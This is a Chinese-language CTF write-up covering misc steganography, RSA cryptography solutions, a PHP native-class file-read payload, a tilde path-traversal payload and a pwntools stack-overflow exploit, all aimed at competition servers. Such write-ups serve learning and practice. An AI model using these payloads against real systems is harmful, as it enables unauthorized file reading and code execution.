黄河流域公安院校网络空间安全技能挑战赛 WriteUp

警告
本文最后更新于 2023-03-08,文中内容可能已过时。

Rank: 56

Prize level: 2

image-20230304190030763

Rank: 56

misc

套娃

也没觉得有啥套的

zip密码在注释里,滑到最下面

1
xing_bu_xing_a

key.txt里面同一个套路

最下面

1
key========================================================>‌‌‌‌‍‍‌‬‌‌‌‌‍‬‍‍‌‌‌‌‍‬‌‍‌‌‌‌‍‬‌RkFLM‌‌‌‌‌‬‬‌‌‌‌‍‍‬‌‌‌‌‌‍‬‬‌‌‌‌‍‌‍‬‌‌‌‌‍‬‬19‌‌‌‌‍‍‬‌‌‌‌‌‌‌‌‌‌‌‌‍‍‍‍‌‌‌‌‌‌‌‌‌‌‌‍‌‬‌‌‌‌‍‍‬‌‌‌‌‌‍‬‬‌‌‌‌‌‍LRVk=

有零宽隐写

解得key

1
_1s_E45y

有key的png,用cloacked-pixel

1
lsb.py extract encode.png flag.txt _1s_E45y
1
flag{2e55f884-ef01-4654-87b1-cc3111800085}

funnyExpanduser

强国杯决赛原题

~的路径穿越

/dev/fd的链接是/proc/self/fd

~sys指向/dev

payload

1
~sys/fd/6

crypto

checkin

1
282422904082982258621075610259452215824075271484821245626055284049965141753838118483499225118037659155776469308266679236514939371151200503486860900710638249138056870980395564136760046944176702722154502092895865522544199762580857041717582699398798829888596539858995029585412945532785867079274113878154724845910389733183058666310229884356997245

long_to_bytes

1
Mu.Chen_is_the_most_handsome_boy_in_SDPC_and_he_don't_have_girlfriend!!!!!!!By_the_way_here_is_your_flag{705bc7ea-e9e1-4996-a28f-dd962a777170}

Euler

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import gmpy2
from secret import flag
from Crypto.Util.number import *
import random


p = getPrime(1024)
q = getPrime(1024)
e = 65537
d = inverse(e, (p-1)*(q-1))
n1 = p*q
print('d =', d)
print('n1 =', n1)


n2 = 1
while True:
    tmp = getPrime(20)
    for i in range(random.randint(1, 10)):
        n2 *= tmp
    if int(n2).bit_length() > 4096:
        break
m = bytes_to_long(flag)
e = p
c = pow(m,p,n2)
print(f"n2 = {n2}")
print(f"c = {c}")

'''
d = 1191103734504058491421349604548564929848616842152689496895544381837156883533438743584190765148552934760581271144506002162145850044043706855922892271482076871873995241085136144968243140990856473896170280564822732549232192446031619309897442553542363254504471740017966570662964696395047018142115398837264339359703632345253800336497946214283448557066829445107164480953216959246058743836325220516737638124436265379246043689904351250933647836622874758885644860021461954464385862680106712884194095768373281466098064819110033091294767089010003022970009602841916377292236136049332199074587736162893766795170383769105855396481
n1 = 13580613334758608446812976519363134969987613428002924766535019511562587104406919787452524386837284913953412450765046949147625708826808005604839699164252065405707381022094044455947068672776228380259796742758661695038105462132145830673755861626914728707456430832560451486001864528121467715375751025330165798298234749333641286199156268444951660172758198564829589895780644285230824166251980165312273600373379395893191960302458674257328572576250700441136204817923980559222287090491322038600230306017349810608247758292597409739448697047571469597942133677889648017239246044193456551115423543297398389835141582226233401091651
n2 = 1214806402018035399640161601350276689119300500885922730338627878893519991129980125476434307328318616551645952775278810103829168554249376991124646974529506458637833256309925386195767085673143119319959502919427611337245914269082657148902705137556296048781578971739222821624583120801659535369927877985173236243714461317935517361255270715241189816284530991305321818355420570545833978683123138276923580243415962479127687019106264574314649544746346086459905012212977958967691480715239783822121874583716717022133331534258680100103894980839994381411182849477289831563331555051111524494710894174250831042393260657010039224282544484051247017811298503920278914985702602401902771910416165113998593372720867385848641975504106450347785422029536444684536992419844582901814455572310411304170053743720539065216022165732393062765647406642461667856590659949987014165020908912248704605394194332522772838334355686250772722614893659631917281850223784937395431499960460631775969046704990152101465734651932493302101064276553602695086721483441047849063689763309160624353722539937307711289340553305706186969043326282042780389837191270199164643251358171042535614702470861637110776902483824241373428279843481575953477705679020507998934443944753893015492521729164439
c = 829714996515560908603942343505920996556339059436557287421074174277687809974667533248085244071086827486112801279665776466949992570288124598686592774771062800764512333540404127622921352174419248968970404794754685847236748961563984628001223295272803310968932487079932521884266677193760840062257399310444131681778575116034804962240312440452076927109544707668525304555494031530153484385014733733295665648179563341929829366393842180933029552234342383165468329118358481709562138556464490952636983157762226775051069620144327191146321078089031134997806488306619954921967209307290224398561337468466377749200533482249418692505335754212596152956893594720809675348504752525191974229476876972508737538861376367290460994163758533707257433535992369795872961693633915923559165304176024241693969803856234404053572424185908635089962296448104233424369921110004610276316317120909034370571217382030431552784144041430129071509829206755292634358474170376986660230213480604735611696589811824530116203051420922042313844629631979060959674508082246111229472102010511440894011705450255517464228219748967389876595425302704439665665510611452129328353818804395006155136491014104673084625985358676817967767734690717397046423097222254342558118886724303282396865112622135
'''

n1是小质数的积,用sage解phin

1
2
n2 = 1214806402018035399640161601350276689119300500885922730338627878893519991129980125476434307328318616551645952775278810103829168554249376991124646974529506458637833256309925386195767085673143119319959502919427611337245914269082657148902705137556296048781578971739222821624583120801659535369927877985173236243714461317935517361255270715241189816284530991305321818355420570545833978683123138276923580243415962479127687019106264574314649544746346086459905012212977958967691480715239783822121874583716717022133331534258680100103894980839994381411182849477289831563331555051111524494710894174250831042393260657010039224282544484051247017811298503920278914985702602401902771910416165113998593372720867385848641975504106450347785422029536444684536992419844582901814455572310411304170053743720539065216022165732393062765647406642461667856590659949987014165020908912248704605394194332522772838334355686250772722614893659631917281850223784937395431499960460631775969046704990152101465734651932493302101064276553602695086721483441047849063689763309160624353722539937307711289340553305706186969043326282042780389837191270199164643251358171042535614702470861637110776902483824241373428279843481575953477705679020507998934443944753893015492521729164439
phi_n2 = euler_phi(n2)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# 给出n,e,d, 求 q,p
import random
import gmpy2
import libnum
from Crypto.Util.number import *

def gcd(a, b):
    if a < b:
        a, b = b, a
    while b != 0:
        temp = a % b
        a = b
        b = temp
    return a


def getpq(n, e, d):
    p = 1
    q = 1
    while p == 1 and q == 1:
        k = d * e - 1
        g = random.randint(0, n)
        while p == 1 and q == 1 and k % 2 == 0:
            k //= 2
            y = pow(g, k, n)
            if y != 1 and gmpy2.gcd(y - 1, n) > 1:
                p = gmpy2.gcd(y - 1, n)
                q = n // p
    return p, q


d1 = 1191103734504058491421349604548564929848616842152689496895544381837156883533438743584190765148552934760581271144506002162145850044043706855922892271482076871873995241085136144968243140990856473896170280564822732549232192446031619309897442553542363254504471740017966570662964696395047018142115398837264339359703632345253800336497946214283448557066829445107164480953216959246058743836325220516737638124436265379246043689904351250933647836622874758885644860021461954464385862680106712884194095768373281466098064819110033091294767089010003022970009602841916377292236136049332199074587736162893766795170383769105855396481
n1 = 13580613334758608446812976519363134969987613428002924766535019511562587104406919787452524386837284913953412450765046949147625708826808005604839699164252065405707381022094044455947068672776228380259796742758661695038105462132145830673755861626914728707456430832560451486001864528121467715375751025330165798298234749333641286199156268444951660172758198564829589895780644285230824166251980165312273600373379395893191960302458674257328572576250700441136204817923980559222287090491322038600230306017349810608247758292597409739448697047571469597942133677889648017239246044193456551115423543297398389835141582226233401091651
e1 = 65537
p, q = getpq(n1, e1, d1)

phi_n2 = 1214743481055418306674923200796837849615523895805543401563759441369343246118986522204311782627678716735076110083488503580291663049622957099674758845000715801331942570563583897748699601876002641512060842959555705944501143148910130554162959388048040519212869978015378597751985356834049556209550624803841207570298137642737395857984101829899978082337057857851112051968930682389636757671781188465691613675153087916911702205401423785475317890541124122086193454983600707787721998113793577979620577534898476900366607144472687183559977045417785928777071198074532579953848782837625343089157820802397678629539368017420537358474076916977809019956158233109058088152632979224345823012868649626822767425736075848093432971228559978734407656071616529172930332880242355377055280321843657698442962249947931867596413331377345743610843716049422485692344992871672279724286939871715214951256915775082201853930411386879306158014821927205845422929099823080947813039889976335554214197065783103831846853692180491580588714471379369769063217267315939921831182591988952743008462760971079264723125493011347321949473298447302260784186208600655746138322458842852759438621930457567141570663852697055384547104514666694053628267784608047228186045453362925876019200000000000
e2 = q

n2 = 1214806402018035399640161601350276689119300500885922730338627878893519991129980125476434307328318616551645952775278810103829168554249376991124646974529506458637833256309925386195767085673143119319959502919427611337245914269082657148902705137556296048781578971739222821624583120801659535369927877985173236243714461317935517361255270715241189816284530991305321818355420570545833978683123138276923580243415962479127687019106264574314649544746346086459905012212977958967691480715239783822121874583716717022133331534258680100103894980839994381411182849477289831563331555051111524494710894174250831042393260657010039224282544484051247017811298503920278914985702602401902771910416165113998593372720867385848641975504106450347785422029536444684536992419844582901814455572310411304170053743720539065216022165732393062765647406642461667856590659949987014165020908912248704605394194332522772838334355686250772722614893659631917281850223784937395431499960460631775969046704990152101465734651932493302101064276553602695086721483441047849063689763309160624353722539937307711289340553305706186969043326282042780389837191270199164643251358171042535614702470861637110776902483824241373428279843481575953477705679020507998934443944753893015492521729164439
c = 829714996515560908603942343505920996556339059436557287421074174277687809974667533248085244071086827486112801279665776466949992570288124598686592774771062800764512333540404127622921352174419248968970404794754685847236748961563984628001223295272803310968932487079932521884266677193760840062257399310444131681778575116034804962240312440452076927109544707668525304555494031530153484385014733733295665648179563341929829366393842180933029552234342383165468329118358481709562138556464490952636983157762226775051069620144327191146321078089031134997806488306619954921967209307290224398561337468466377749200533482249418692505335754212596152956893594720809675348504752525191974229476876972508737538861376367290460994163758533707257433535992369795872961693633915923559165304176024241693969803856234404053572424185908635089962296448104233424369921110004610276316317120909034370571217382030431552784144041430129071509829206755292634358474170376986660230213480604735611696589811824530116203051420922042313844629631979060959674508082246111229472102010511440894011705450255517464228219748967389876595425302704439665665510611452129328353818804395006155136491014104673084625985358676817967767734690717397046423097222254342558118886724303282396865112622135

d2 = gmpy2.invert(e2,phi_n2)
m = pow(c,d2,n2)

print(long_to_bytes(m))
#b'flag{09d9cf63-4ccc-4615-8a40-577e1152d2b3}'

RRRRRRRSA

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from secret import flag
from Crypto.Util.number import *

e = 321
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
n = p*q
c = pow(m, e, n)
print(n)
print(c)

低指数广播,不过e大了点,而且不是质数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from Crypto.Util.number import *
from pwn import *
n = []
c = []
for i in range(321):
    io = remote('81.68.77.181', 2023)
    n.append(eval(io.recvline().decode()))
    c.append(eval(io.recvline().decode()))
    io.close()
    sleep(0.1)

with open('n_c.txt','w') as f:
    f.write(f'n ={n}')
    f.write(f'\nc ={c}')
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from Crypto.Util.number import *

n =[]
c =[]
e = 321
ms = crt(c, n)
R.<x> = PolynomialRing(ZZ)
f = x^e - ms
m = f.roots()[0][0]
print(long_to_bytes(m))
# b'flag{aea15f90-aa1b-424d-a1ca-cda30682d881}'

web

ezphp

php原生类的例题

GlobIterator读取文件列表

用SplFileObject类配合伪协议读取文件内容

exp

1
http://43.138.65.13:2023/?g=SplFileObject&t=php://filter/read=convert.base64-encode/resource=flag.php

pwn

ez_stack

1
2
3
4
5
6
7
8
from pwn import *
context.log_level=('debug')
# p = process("./pwn")
p = remote('1.13.251.106',8000)
payload = b'a'*(68+8+4) + p32(0xFECB7341) 
p.sendlineafter(b' :',payload)

p.interactive()
0%